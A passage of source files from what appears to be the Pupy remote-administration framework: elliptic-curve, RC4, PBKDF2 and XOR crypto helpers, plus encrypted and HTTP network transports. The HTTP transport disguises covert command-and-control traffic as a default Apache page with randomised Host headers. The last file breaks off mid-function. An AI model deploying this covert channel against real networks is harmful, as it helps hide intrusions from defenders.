            record = _PUBKEY_CACHE.get(public_key)
            if record:
                self._public_key, self._public_key_digest = _PUBKEY_CACHE.get(public_key)
            else:
                self._public_key = osp2ec(self._curve, base64.b64decode(public_key))
                if not self._public_key:
                    raise ValueError('Invalid public key')

                self._public_key.precompute()
                self._public_key_digest = self._mgf2(ec2osp(self._public_key), AES_BLOCK_SIZE)
                _PUBKEY_CACHE.set(public_key, (self._public_key, self._public_key_digest))
        else:
            self._public_key = None
            self._public_key_digest = None

        self._kex_shared_key = None
        self._kex_public_key = None
        self._kex_private_key = None

        self._cached_kex_request = None
        self._cached_kex_response = None

    @property
    def kex_completed(self):
        return not (self._kex_shared_key is None)

    @property
    def encryption_key(self):
        return self._kex_shared_key[0] if self._kex_shared_key else self._public_key_digest

    @property
    def decryption_key(self):
        return self._kex_shared_key[1] if self._kex_shared_key else self._public_key_digest

    def kex_reset(self):
        self._kex_shared_key = None
        self._kex_public_key = None
        self._kex_private_key = None

    def clone(self):
        clone = ECPV()
        clone._curve = self._curve
        clone._hash = self._hash
        clone._private_key = self._private_key
        clone._public_key = self._public_key
        clone._public_key_digest = self._public_key_digest
        clone._kex_shared_key = None
        clone._kex_public_key = None
        clone._kex_private_key = None
        return clone

    def _gen_random(self):
        value = 0

        while not (value > 1 and value < self._curve.field.n):
            value = from_bytes(get_random(self._curve.bytes))

        return value

    def _mgf2(self, value, length):
        result = []
        hash = self._hash.new()
        k = length // self._mgf_size + 1
        for i in xrange(1, k + 1):
            hash.update(value + struct.pack('>I', i))
            result.append(hash.digest())
            hash = self._hash.new()

        return b''.join(result)[:length]

    def generate_key(self):
        self._private_key = self._gen_random()
        self._public_key = self._curve.g * self._private_key
        self._public_key_digest = self._mgf2(
            ec2osp(self._public_key), AES_BLOCK_SIZE
        )

        return (
            base64.b64encode(to_bytes(self._private_key)),
            base64.b64encode(ec2osp(self._public_key))
        )

    def pack(self, message, nonce=None):
        if not self._private_key:
            raise ValueError('No private key')
        t = 0
        k = 0
        s = 0
        r = b''
        while not (t and s):
            k = self._gen_random()
            R = self._curve.g * k
            key = self._mgf2(ec2osp(R), 16)

            r = self.encrypt(message, nonce, key=key)

            hash = self._hash.new()
            hash.update(r + (
                struct.pack('>I', nonce) if nonce else b''
            ) + struct.pack('>I', len(r)))
            u = hash.digest()[:self._curve.bytes]
            t = from_bytes(u)
            if not (t > 1 and t < self._curve.field.n):
                continue

            s = (k - self._private_key * t) % self._curve.field.n

        bytes = to_bytes(s)
        if len(bytes) != self._curve.bytes:
            bytes = bytes + '\x00' * (self._curve.bytes - len(bytes))

        return bytes + r

    def unpack(self, message, nonce=None):
        if not self._public_key:
            raise ValueError('No public key')
        s = from_bytes(message[:self._curve.bytes])
        r = message[self._curve.bytes:]
        hash = self._hash.new()
        hash.update(r + (
            struct.pack('>I', nonce) if nonce else b''
        ) + struct.pack('>I', len(r)))
        u = hash.digest()[:self._curve.bytes]
        t = from_bytes(u)
        if not (t >= 0 and t < self._curve.field.n):
            return None
        R = self._curve.g * s + self._public_key * t
        if R.inf:
            return None
        key = self._mgf2(ec2osp(R), 16)

        return self.decrypt(r, nonce, key=key)

    def generate_kex_request(self):
        self._kex_private_key = self._gen_random()
        self._kex_public_key = self._curve.g * self._kex_private_key
        return ec2osp(self._kex_public_key)

    def process_kex_request(self, request, nonce=None, encrypt=False, key_size=AES_BLOCK_SIZE):
        if request == self._cached_kex_request and self._kex_shared_key:
            return self._cached_kex_response, self._kex_shared_key

        self._cached_kex_request = request
        response = self.generate_kex_request()
        self.process_kex_response(request, nonce=nonce, decrypt=False, key_size=key_size)
        self._kex_shared_key = list(x for x in reversed(self._kex_shared_key))
        self._cached_kex_response = \
          self.pack(response, nonce) if encrypt else response
        return self._cached_kex_response, self._kex_shared_key

    def process_kex_response(self, response, nonce=None, decrypt=False, key_size=AES_BLOCK_SIZE):
        if decrypt:
            response = self.unpack(response, nonce)

        P1 = osp2ec(self._curve, response)
        if not P1:
            raise ValueError('Invalid ECDH PK response')

        key = self._mgf2(ec2osp(P1 * self._kex_private_key), key_size)
        self._kex_shared_key = (key, _reversed_bytes(key))
        return self._kex_shared_key

    def check_csum(self, message, nonce, csum, key=None):
        if not key:
            if self._kex_shared_key:
                key = self._kex_shared_key[1]
            else:
                key = self._public_key_digest

        h = SHA1.new()
        h.update(key)
        h.update(message)
        h.update(to_bytes(len(message)))
        h.update(to_bytes(nonce))

        csum2 = h.digest()[:4]
        return csum == csum2

    def gen_csum(self, message, nonce, key=None):
        if not key:
            if self._kex_shared_key:
                key = self._kex_shared_key[0]
            else:
                key = self._public_key_digest

        h = SHA1.new()
        h.update(key)
        h.update(message)
        h.update(to_bytes(len(message)))
        h.update(to_bytes(nonce))

        csum = h.digest()[:4]
        return csum

    def encrypt(self, message, nonce, key=None):
        if not key:
            if self._kex_shared_key:
                key = self._kex_shared_key[0]
            else:
                key = self._public_key_digest

        if nonce is not None:
            encrypted = NewAESCipher(
                key, nonce, AES_MODE_CTR
            ).encrypt(message)
        else:
            bs = AES_BLOCK_SIZE
            iv = get_random(AES_BLOCK_SIZE)
            length = struct.pack('>I', len(message))
            pad = (bs - (len(message) + len(length))%bs) % bs
            padding = struct.pack('B', pad)*pad
            encrypted = iv + NewAESCipher(
                key, iv, AES_MODE_CFB
            ).encrypt(length + message + padding)

        return encrypted

    def decrypt(self, message, nonce, key=None):
        if not key:
            if self._kex_shared_key:
                key = self._kex_shared_key[1]
            else:
                key = self._public_key_digest

        if nonce is not None:
            decrypted = NewAESCipher(
                key, nonce, AES_MODE_CTR
            ).decrypt(message)
        else:
            bs = AES_BLOCK_SIZE
            iv, body = message[:bs], message[bs:]

            payload = NewAESCipher(
                key, iv, AES_MODE_CFB
            ).decrypt(body)

            length = struct.unpack_from('>I', payload)[0]
            message = payload[4:]
            pad = len(message) - length
            decrypted, padding = message[:length], message[length:]
            if not padding == struct.pack('B', pad)*pad:
                return None

        return decrypted

    def encode(self, message, nonce, symmetric = False):
        if symmetric:
            return self.encrypt(message, nonce)
        return self.pack(message, nonce)

    def decode(self, message, nonce, symmetric = False):
        if symmetric:
            return self.decrypt(message, nonce)
        return self.unpack(message, nonce)


if __name__ == '__main__':
    for x in xrange(1, 10):
        x = ECPV(curve='brainpoolP384r1')

        x._curve.g * (1 << 47)

        priv, pub = x.generate_key()
        print("PRIV:", priv)
        print("PUB:", pub)
        msg = 'Hello, world'
        msg2 = x.decode(x.encode(msg, 0), 0)
        if not msg == msg2:
            print("VRFY1 FAIL: ", msg2)
            break

        signer = ECPV(private_key=priv, curve='brainpoolP384r1')
        verifier = ECPV(public_key=pub, curve='brainpoolP384r1')

        if not signer._public_key_digest == verifier._public_key_digest:
            print("PSK FAIL")
            break

        if not verifier.decrypt(signer.encrypt(msg, 0), 0) == msg:
            print("DEC FAIL")
            break

        msg3 = verifier.decode(signer.encode(msg, 0), 0)
        if not msg == msg3:
            print("VRFY2 FAIL: ", msg3)
            break

        msg41 = msg + '1234'
        msg4 = verifier.unpack(signer.pack(msg41))
        if not msg41 == msg4:
            print("VRFY3 FAIL: ", msg4)
            break

        req = verifier.generate_kex_request()
        resp, key = signer.process_kex_request(req, 0)
        key2 = verifier.process_kex_response(resp, 0)
        if not list(key) == list(reversed(key2)):
            print("KEX FAILED", key, key2)
            break


================================================
FILE: pupy/network/lib/transports/cryptoutils/pbkdf2.py
================================================
# -*- coding: utf-8 -*-
"""
    pbkdf2
    ~~~~~~

    This module implements pbkdf2 for Python.  It also has some basic
    tests that ensure that it works.  The implementation is straightforward
    and uses stdlib only stuff and can be easily be copy/pasted into
    your favourite application.

    Use this as replacement for bcrypt that does not need a c implementation
    of a modified blowfish crypto algo.

    Example usage:

    >>> pbkdf2_hex('what i want to hash', 'the random salt')
    'fa7cc8a2b0a932f8e6ea42f9787e9d36e592e0c222ada6a9'

    How to use this:

    1.  Use a constant time string compare function to compare the stored hash
        with the one you're generating::

            def safe_str_cmp(a, b):
                if len(a) != len(b):
                    return False
                rv = 0
                for x, y in izip(a, b):
                    rv |= ord(x) ^ ord(y)
                return rv == 0

    2.  Use `os.urandom` to generate a proper salt of at least 8 byte.
        Use a unique salt per hashed password.

    3.  Store ``algorithm$salt:costfactor$hash`` in the database so that
        you can upgrade later easily to a different algorithm if you need
        one.  For instance ``PBKDF2-256$thesalt:10000$deadbeef...``.


    :copyright: (c) Copyright 2011 by Armin Ronacher.
    :license: BSD, see LICENSE for more details.
"""

from __future__ import print_function
from __future__ import absolute_import
from __future__ import division
from __future__ import unicode_literals

import sys
import hmac
import hashlib
import codecs

from struct import Struct
from operator import xor
from itertools import starmap

if sys.version_info.major > 2:
    xrange = range
    izip = zip

    def _pseudorandom(x, mac):
        h = mac.copy()
        h.update(x)
        return h.digest()

    def _as_bytes(x):
        return bytes(x)

else:
    from itertools import izip

    def _pseudorandom(x, mac):
        h = mac.copy()
        h.update(x)
        return map(ord, h.digest())

    def _as_bytes(x):
        return b''.join(map(chr, x))

_pack_int = Struct('>I').pack


def pbkdf2_hex(data, salt, iterations=1000, keylen=24, hashfunc=None):
    """Like :func:`pbkdf2_bin` but returns a hex encoded string."""
    return codecs.encode(
        pbkdf2_bin(data, salt, iterations, keylen, hashfunc),
        'hex'
    )


def pbkdf2_bin(data, salt, iterations=1000, keylen=24, hashfunc=None):
    """Returns a binary digest for the PBKDF2 hash algorithm of `data`
    with the given `salt`.  It iterates `iterations` time and produces a
    key of `keylen` bytes.  By default SHA-1 is used as hash function,
    a different hashlib `hashfunc` can be provided.
    """
    hashfunc = hashfunc or hashlib.sha1
    mac = hmac.new(data, None, hashfunc)

    buf = []

    for block in xrange(1, -(-keylen // mac.digest_size) + 1):
        rv = u = _pseudorandom(salt + _pack_int(block), mac)
        for i in xrange(iterations - 1):
            u = _pseudorandom(_as_bytes(u), mac)
            rv = starmap(xor, izip(rv, u))

        buf.extend(rv)

    return _as_bytes(buf)[:keylen]


def test():
    failed = []

    def check(data, salt, iterations, keylen, expected):
        rv = pbkdf2_hex(data, salt, iterations, keylen)
        if rv != expected:
            print('Test failed:')
            print('  Expected:   %s' % expected)
            print('  Got:        %s' % rv)
            print('  Parameters:')
            print('    data=%s' % data)
            print('    salt=%s' % salt)
            print('    iterations=%d' % iterations)
            print()
            failed.append(1)

    # From RFC 6070
    check(b'password', b'salt', 1, 20,
          b'0c60c80f961f0e71f3a9b524af6012062fe037a6')
    check(b'password', b'salt', 2, 20,
          b'ea6c014dc72d6f8ccd1ed92ace1d41f0d8de8957')
    check(b'password', b'salt', 4096, 20,
          b'4b007901b765489abead49d926f721d065a429c1')
    check(b'passwordPASSWORDpassword', b'saltSALTsaltSALTsaltSALTsaltSALTsalt',
          4096, 25, b'3d2eec4fe41c849b80c8d83662c0e44a8b291a964cf2f07038')
    check(b'pass\x00word', b'sa\x00lt', 4096, 16,
          b'56fa6aa75548099dcc37d7f03425e0c3')
    # This one is from the RFC but it just takes for ages
    ##check('password', 'salt', 16777216, 20,
    ##      'eefe3d61cd4da4e4e9945b3d6ba2158c2634e984')

    # From Crypt-PBKDF2
    check(b'password', b'ATHENA.MIT.EDUraeburn', 1, 16,
          b'cdedb5281bb2f801565a1122b2563515')
    check(b'password', b'ATHENA.MIT.EDUraeburn', 1, 32,
          b'cdedb5281bb2f801565a1122b25635150ad1f7a04bb9f3a333ecc0e2e1f70837')
    check(b'password', b'ATHENA.MIT.EDUraeburn', 2, 16,
          b'01dbee7f4a9e243e988b62c73cda935d')
    check(b'password', b'ATHENA.MIT.EDUraeburn', 2, 32,
          b'01dbee7f4a9e243e988b62c73cda935da05378b93244ec8f48a99e61ad799d86')
    check(b'password', b'ATHENA.MIT.EDUraeburn', 1200, 32,
          b'5c08eb61fdf71e4e4ec3cf6ba1f5512ba7e52ddbc5e5142f708a31e2e62b1e13')
    check(b'X' * 64, b'pass phrase equals block size', 1200, 32,
          b'139c30c0966bc32ba55fdbf212530ac9c5ec59f1a452f5cc9ad940fea0598ed1')
    check(b'X' * 65, b'pass phrase exceeds block size', 1200, 32,
          b'9ccad6d468770cd51b10e6a68721be611a8b4d282601db3b36be9246915ec82a')

    raise SystemExit(bool(failed))


if __name__ == '__main__':
    test()


================================================
FILE: pupy/network/lib/transports/cryptoutils/rc4.py
================================================
#!/usr/bin/env python

"""
    Copyright (C) 2012 Bo Zhu http://about.bozhu.me

    Permission is hereby granted, free of charge, to any person obtaining a
    copy of this software and associated documentation files (the "Software"),
    to deal in the Software without restriction, including without limitation
    the rights to use, copy, modify, merge, publish, distribute, sublicense,
    and/or sell copies of the Software, and to permit persons to whom the
    Software is furnished to do so, subject to the following conditions:

    The above copyright notice and this permission notice shall be included in
    all copies or substantial portions of the Software.

    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
    THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
    FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER
    DEALINGS IN THE SOFTWARE.
"""
from __future__ import print_function
from __future__ import absolute_import
from __future__ import division
from __future__ import unicode_literals


def KSA(key):
    keylength = len(key)

    S = range(256)

    j = 0
    for i in range(256):
        j = (j + S[i] + key[i % keylength]) % 256
        S[i], S[j] = S[j], S[i]  # swap

    return S


def PRGA(S):
    i = 0
    j = 0
    while True:
        i = (i + 1) % 256
        j = (j + S[i]) % 256
        S[i], S[j] = S[j], S[i]  # swap

        K = S[(S[i] + S[j]) % 256]
        yield K


class RC4(object):
    __slots__ = ('prga',)

    def __init__(self, key):
        key = tuple(ord(x) for x in key)
        self.prga = PRGA(KSA(key))

    def encrypt(self, data):
        return b''.join(chr(ord(x)^next(self.prga)) for x in data)

    def decrypt(self, data):
        return b''.join(chr(ord(x)^next(self.prga)) for x in data)


if __name__ == '__main__':
    # test vectors are from http://en.wikipedia.org/wiki/RC4

    # ciphertext should be BBF316E8D940AF0AD3
    key = 'Key'
    plaintext = 'Plaintext'

    # ciphertext should be 1021BF0420
    #key = 'Wiki'
    #plaintext = 'pedia'

    # ciphertext should be 45A01F645FC35B383552544B9BF5
    #key = 'Secret'
    #plaintext = 'Attack at dawn'

    def convert_key(s):
        return [ord(c) for c in s]
    key = convert_key(key)

    keystream = RC4(key)

    import sys
    for c in plaintext:
        sys.stdout.write("%02X" % (ord(c) ^ next(keystream)))
    print()


================================================
FILE: pupy/network/lib/transports/cryptoutils/sha.py
================================================
# -*- encoding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
__all__ = (
    'SHA1', 'SHA256', 'SHA384', 'SHA3_256', 'SHA3_512'
)

try:
    from Crypto.Hash import SHA1, SHA256, SHA384, SHA3_256, SHA3_512
except ImportError:
    # Not implemented for now
    SHA3_256 = None
    SHA3_512 = None

    from hashlib import sha1, sha256, sha384

    class SHA1(object):
        __slots__ = ()

        @staticmethod
        def new(*args):
            return sha1(*args)

    class SHA256(object):
        __slots__ = ()

        @staticmethod
        def new(*args):
            return sha256(*args)

    class SHA384(object):
        __slots__ = ()

        @staticmethod
        def new(*args):
            return sha384(*args)


================================================
FILE: pupy/network/lib/transports/cryptoutils/xor.py
================================================
# -*- coding: utf-8 -*-

class XOR(object):
    __slots__ = ('offset', 'key')

    def __init__(self, key, offset=0):
        if not isinstance(key, bytes):
            key = key.encode('latin1')

        self.key = bytearray(key)
        self.offset = offset

    def strxor(self, data):
        key = self.key
        lkey = len(key)
        ldata = len(data)
        offset = self.offset

        result = bytearray(ldata)

        if ldata and not isinstance(data[0], int):
            if isinstance(data, bytes):
                data = bytearray(data)
            else:
                data = bytearray(data.encode('latin1'))

        for idx, c1 in enumerate(data):
            result[idx] = c1 ^ key[(offset+idx) % lkey]

        self.offset += idx+1
        return result


================================================
FILE: pupy/network/lib/transports/dummy.py
================================================
# -*- coding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
__all__ = ['DummyPupyTransport']

from ..base import BasePupyTransport

class DummyPupyTransport(BasePupyTransport):
    __slots__ = ()

    def downstream_recv(self, data):
        """
        receiving obfuscated data from the remote client and writing deobfuscated data to downstream
        """
        data.write_to(self.upstream)

    def upstream_recv(self, data):
        """
        receiving clear-text data from local rpyc Stream and writing obfuscated data to upstream
        """
        data.write_to(self.downstream)


================================================
FILE: pupy/network/lib/transports/ec4.py
================================================
# -*- coding: utf-8 -*-

""" EC4 PSK transport """
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

__all__ = ['EC4TransportServer', 'EC4TransportClient']

from ..base import BasePupyTransport
from .cryptoutils import RC4, SHA384, ECPV

from pupy.network.lib.buffer import Buffer

import struct
import time
import random


class EC4Transport(BasePupyTransport):

    __slots__ = (
        'encoder', 'encryptor',
        'decryptor', 'up_buffer'
    )

    privkey = None
    pubkey  = None

    def __init__(self, *args, **kwargs):
        super(EC4Transport, self).__init__(*args, **kwargs)
        if not self.pubkey and not self.privkey:
            raise ValueError('Public or Private key required for EC4')

        if self.pubkey:
            self.encoder = ECPV(
                curve='brainpoolP384r1',
                public_key=self.pubkey,
                hash=SHA384
            )
        else:
            self.encoder = ECPV(
                curve='brainpoolP384r1',
                private_key=self.privkey,
                hash=SHA384
            )

        self.encryptor = None
        self.decryptor = None
        self.up_buffer = Buffer()

    def kex(self, data):
        if len(data) < 2:
            return False

        length, = struct.unpack_from('H', data.peek(2))
        if len(data) < 2 + length:
            return False

        request = data.read(2 + length)

        if self.privkey:
            try:
                response, key = self.encoder.process_kex_request(request[2:], 0, key_size=128)
            except ValueError as e:
                raise EOFError(str(e))

            # Add jitter, tinyec is quite horrible
            time.sleep(random.random())
            self.downstream.write(struct.pack('H', len(response)) + response)
        else:
            try:
                key = self.encoder.process_kex_response(request[2:], 0, key_size=128)
            except ValueError as e:
                raise EOFError(str(e))

        self.encryptor = RC4(key=key[0])
        self.decryptor = RC4(key=key[1])

        # https://wikileaks.org/ciav7p1/cms/files/NOD%20Cryptographic%20Requirements%20v1.1%20TOP%20SECRET.pdf
        # Okay...
        self.encryptor.encrypt(b'\x00'*3072)
        self.decryptor.decrypt(b'\x00'*3072)
        return True

    def downstream_recv(self, data):
        if self.encryptor:
            data.write_to(self.upstream, modificator=self.decryptor.decrypt)

        elif self.kex(data):
            if self.up_buffer:
                self.up_buffer.write_to(self.downstream, modificator=self.encryptor.encrypt)
                self.up_buffer = None

            if len(data):
                data.write_to(self.upstream, modificator=self.decryptor.decrypt)

    def upstream_recv(self, data):
        if self.encryptor:
            data.write_to(self.downstream, modificator=self.encryptor.encrypt)
        else:
            data.write_to(self.up_buffer)


class EC4TransportServer(EC4Transport):
    __slots__ = ()


class EC4TransportClient(EC4Transport):
    __slots__ = ()

    def on_connect(self):
        req = self.encoder.generate_kex_request()
        self.downstream.write(
            struct.pack('H', len(req)) + req
        )


================================================
FILE: pupy/network/lib/transports/ecm.py
================================================
# -*- coding: utf-8 -*-

""" EC4 PSK transport """
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

__all__ = ('ECMTransportServer', 'ECMTransportClient')

from ..base import BasePupyTransport
from .cryptoutils import ECPV

from pupy.network.lib.buffer import Buffer

import struct
import time
import random

from Crypto.Cipher import AES
from Crypto.Hash   import SHA3_224
from Crypto.Hash   import SHA384
from Crypto.Random import get_random_bytes

class ECMTransport(BasePupyTransport):
    __slots__ = (
        'encryptor', 'decryptor',
        'up_buffer', 'dec_buffer',
        'nonce', 'key', 'chunk_len',
        'need_validation', 'encoder'
    )

    privkey = None
    pubkey  = None

    def __init__(self, *args, **kwargs):
        super(ECMTransport, self).__init__(*args, **kwargs)
        if not self.pubkey and not self.privkey:
            raise ValueError('Public or Private key required for ECM')

        if self.pubkey:
            self.encoder = ECPV(
                curve='brainpoolP384r1',
                public_key=self.pubkey,
                hash=SHA384
            )
        else:
            self.encoder = ECPV(
                curve='brainpoolP384r1',
                private_key=self.privkey,
                hash=SHA384
            )

        self.encryptor       = None
        self.decryptor       = None
        self.up_buffer       = Buffer()
        self.dec_buffer      = Buffer()
        self.nonce           = None
        self.key             = None
        self.chunk_len       = 0
        self.need_validation = False

    def update_encryptor(self):
        vblock = self.encryptor.digest()

        h = SHA3_224.new()
        h.update(self.key[0])
        h.update(vblock)
        self.encryptor = AES.new(
            key=self.key[0], mode=AES.MODE_GCM, nonce=h.digest()
        )

        return vblock

    def update_decryptor(self, vblock):
        self.decryptor.verify(vblock)

        h = SHA3_224.new()
        h.update(self.key[1])
        h.update(vblock)
        self.decryptor = AES.new(
            key=self.key[1], mode=AES.MODE_GCM, nonce=h.digest()
        )

    def kex(self, data):
        if len(data) < 4:
            return False

        reqlen, noncelen = struct.unpack_from('<HH', data.peek(4))
        if len(data) < 4 + reqlen + noncelen:
            return False

        data.drain(4)

        request = data.read(reqlen)
        remote_nonce = data.read(noncelen)

        if self.privkey:
            response, key = self.encoder.process_kex_request(request, 0)
            # Add jitter, tinyec is quite horrible
            time.sleep(random.random())
            nonce = get_random_bytes(16)
            self.downstream.write(struct.pack('<HH', len(response), len(nonce)) + response + nonce)
        else:
            key = self.encoder.process_kex_response(request, 0)
            nonce = self.nonce

        eh = SHA3_224.new()
        eh.update(key[0])
        eh.update(remote_nonce)
        ek = eh.digest()[:16]

        dh = SHA3_224.new()
        dh.update(key[1])
        dh.update(nonce)
        dk = dh.digest()[:16]

        self.key = (ek, dk)

        self.encryptor = AES.new(key=self.key[0], mode=AES.MODE_GCM, nonce=nonce)
        self.decryptor = AES.new(key=self.key[1], mode=AES.MODE_GCM, nonce=remote_nonce)

        return True

    def downstream_recv(self, data):
        if self.decryptor:
            while len(data):
                if not self.chunk_len:
                    if self.need_validation:
                        if len(data) < 16:
                            return

                        vblock = data.read(16)
                        self.update_decryptor(vblock)
                        self.need_validation = False
                        self.dec_buffer.write_to(self.upstream)

                    if len(data) < 4:
                        break

                    raw_chunk_len = self.decryptor.decrypt(data.read(4))
                    self.chunk_len, = struct.unpack('<I', raw_chunk_len)

                if not len(data):
                    break

                nr, nw = data.write_to(
                    self.dec_buffer,
                    modificator=self.decryptor.decrypt,
                    n=self.chunk_len)

                self.chunk_len -= nr
                if not self.chunk_len:
                    self.need_validation = True

        elif self.kex(data):
            if len(self.up_buffer):
                self.upstream_recv(self.up_buffer)

            if len(data):
                self.downstream_recv(data)

    def upstream_recv(self, data):
        if self.encryptor:
            buf = Buffer()

            ldata = len(data)
            buf.write(self.encryptor.encrypt(struct.pack('<I', ldata)))
            _, nw = data.write_to(buf, modificator=self.encryptor.encrypt, n=ldata)
            d = self.update_encryptor()
            buf.write(d)

            buf.write_to(self.downstream)
        else:
            data.write_to(self.up_buffer)

class ECMTransportServer(ECMTransport):
    __slots__ = ()

class ECMTransportClient(ECMTransport):
    __slots__ = ()

    def on_connect(self):
        req = self.encoder.generate_kex_request()
        self.nonce = get_random_bytes(16)
        self.downstream.write(
            struct.pack('<HH', len(req), len(self.nonce)) + req + self.nonce
        )


================================================
FILE: pupy/network/lib/transports/http.py
================================================
# -*- coding: utf-8 -*-
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms

""" This module contains an implementation of the 'http' transport for pupy. """

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

__all__ = (
    'InvalidHTTPReq',
    'MalformedData',
    'PupyHTTPClient',
    'PupyHTTPServer',
)

from ..base import BasePupyTransport
import base64
import random
import string
import logging
import threading
import time

error_response_body = b'''<html><body><h1>It works!</h1>
<p>This is the default web page for this server.</p>
<p>The web server software is running but no content has been added, yet.</p>
</body></html>'''

error_response = b'\r\n'.join((
    b'HTTP/1.1 200 OK',
    b'Server: Apache',
    b'Content-Type: text/html; charset=utf-8',
    b'Content-Length: %d' % len(error_response_body),
    b'\r\n',
    error_response_body
))


class InvalidHTTPReq(Exception):
    __slots__ = ()


class MalformedData(Exception):
    __slots__ = ()


class PupyHTTPTransport(BasePupyTransport):
    """
    Implements the http protocol transport for pupy.
    """
    __slots__ = ()


class PupyHTTPClient(PupyHTTPTransport):
    client = True
    method = b'GET'
    keep_alive = True
    path = b'/index.php?d='
    user_agent = b'Mozilla/5.0'
    host = None # None for random
    proxy = False
    payload_max_size = 1024 * 3

    __slots__ = (
        'headers', 'polled', '_host', '_path'
    )

    def __init__(self, *args, **kwargs):
        PupyHTTPTransport.__init__(self, *args, **kwargs)
        self.headers = {
            'User-Agent': self.user_agent,
            'Connection': 'keep-alive',
        }

        self.polled = False

        self._host = kwargs.get('host', getattr(self, 'host'))
        self._path = kwargs.get('path', getattr(self, 'path'))

        if self._host is not None:
            self.headers['Host'] = self._host

        if 'Host' not in self.headers:
            self.headers['Host'] = '.'.join([
                'www',
                ''.join(
                    random.choice(string.ascii_lowercase
                ) for _ in range(0, random.randint(7,10))),
                'com'
            ])

        if 'proxy' in kwargs:
            self._path = 'http://{}{}'.format(self.headers['Host'], self._path)

        if 'auth' in kwargs:
            self.headers['Proxy-Authorization'] = \
              'Basic ' + base64.b64encode('{}:{}'.format(*kwargs['auth']))

    def _upstream_recv(self, data):
        try:
            d = data.read(self.payload_max_size)

            request = b'%s %s%s HTTP/1.1\r\n'%(
                self.method, self._path, base64.urlsafe_b64encode(d))

            for name, value in self.headers.items():
                request += b'%s: %s\r\n'%(
                    name.encode('ascii'), value.encode('ascii'))

            if self.keep_alive:
                request += b'Connection: keep-alive\r\n'

            request += b'\r\n'

            if not self.polled:
                self.polled = True

                request += b'%s %s%s HTTP/1.1\r\n'%(
                    self.method.encode('ascii'), 
                    self._path.encode('ascii'), 
                    b'poll&_={}'.format(time.time())
                )

                for name, value in self.headers.items():
                    request += b'%s: %s\r\n'%(
                        name.encode('ascii'),
                        value.encode('ascii')
                    )

                if self.keep_alive:
                    request += b'Connection: keep-alive\r\n'

                request += b'\r\n'

            self.downstream.write(request)

        except Exception as e:
            logging.exception(e)

    def upstream_recv(self, data):
        """
            raw data to HTTP request
        """

        while len(data) > 0:
            self._upstream_recv(data)

    def downstream_recv(self, data):
        """
            HTTP response to raw data
        """
        d = data.peek()
        decoded_data = b''
        poll_required = False
        #let's parse HTTP responses :

        while len(d)>0 and d.startswith(b'HTTP/1.1 ') and b'\r\n\r\n' in d:
            head, rest = d.split(b'\r\n\r\n', 1)
            _, rheaders = head.split(b'\r\n',1)
            content_length = None
            for name, value in [[i.strip() for i in x.split(b':',1)] for x in rheaders.split(b'\r\n')]:
                if name.lower() == b'content-length':
                    content_length = int(value)
                elif name.lower() == b'x-poll-required':
                    poll_required = True

            if content_length is None:
                logging.exception('dafuk ? content-length is None')
                self.close()
                return

            elif len(rest) < content_length:
                break

            if content_length > 0:
                decoded_data += base64.urlsafe_b64decode(
                    rest[:content_length])

            length_to_drain = content_length+4+len(head)

            data.drain(length_to_drain)

            d = d[length_to_drain:]

        if decoded_data or poll_required:
            self.upstream.write(decoded_data)

            request = b'%s %s%s HTTP/1.1\r\n'%(
                self.method.encode('ascii'),
                self._path.encode('ascii'), 
                b'poll&_={}'.format(time.time())
            )

            for name, value in self.headers.items():
                request += b'%s: %s\r\n'%(
                    name.encode('ascii'),
                    value.encode('ascii')
                )

            if self.keep_alive:
                request += b'Connection: keep-alive\r\n'

            request += b'\r\n'

            self.downstream.write(request)


class PupyHTTPServer(PupyHTTPTransport):
    client = False
    response_code = '200 OK'
    server_header = 'Apache'
    path = '/index.php?d='
    verify_user_agent = None # set to the user agent to verify or None not to verify

    __slots__ = (
        'headers',  'polled',
        'pending_data', 'polled_lock', 'polled',
        'no_pipelining_timeout', 'pipelining',
        'last_access', 'poll_flusher_started',
        'poll_flusher_thread'
    )

    def __init__(self, *args, **kwargs):
        PupyHTTPTransport.__init__(self, *args, **kwargs)
        self.pending_data = []
        self.polled_lock = threading.Lock()
        self.polled = 0
        self.no_pipelining_timeout = 0.1
        self.pipelining = threading.Event()
        self.last_access = None
        self.poll_flusher_started = False
        self.poll_flusher_thread = None
        self.headers = {
            'Content-Type': 'text/html; charset=utf-8',
            'Server': self.server_header,
            'Connection': 'Keep-Alive',
        }

    def on_close(self):
        self.pipelining.set()

    def poll_flusher(self):
        while not self.pipelining.is_set():
            with self.polled_lock:
                if not self.pending_data:
                    if self.polled > 0 and (time.time() - self.last_access > self.no_pipelining_timeout):
                        self.polled -= 1

                        response = b'HTTP/1.1 %s\r\n' % self.response_code.encode('ascii')

                        for name, value in self.headers.items():
                            response += b'%s: %s\r\n' % (
                                name.encode('ascii'),
                                value.encode('ascii')
                            )

                        response += b'Content-Length: 0\r\n'

                        if self.polled == 0:
                            response += b'X-Poll-Required: true\r\n'

                        response += b'\r\n'

                        self.downstream.write(response)

            time.sleep(self.no_pipelining_timeout)

    def upstream_recv(self, data):
        """
            raw data to HTTP response
        """
        if self.closed:
            return

        encoded_data = None
        payload = data.read()

        with self.polled_lock:
            if self.polled > 0:
                self.polled -= 1

                encoded_data = base64.urlsafe_b64encode(b''.join(self.pending_data) + payload)
                self.pending_data = []

            else:
                self.pending_data.append(payload)

            if encoded_data:
                response = b'HTTP/1.1 %s\r\n' % self.response_code.encode('ascii')
                for name, value in self.headers.items():
                    response += b'%s: %s\r\n'%(
                        name.encode('ascii'),
                        value.encode('ascii')
                    )

                response += b'Content-Length: %s\r\n' % len(encoded_data)
                response += b'\r\n'
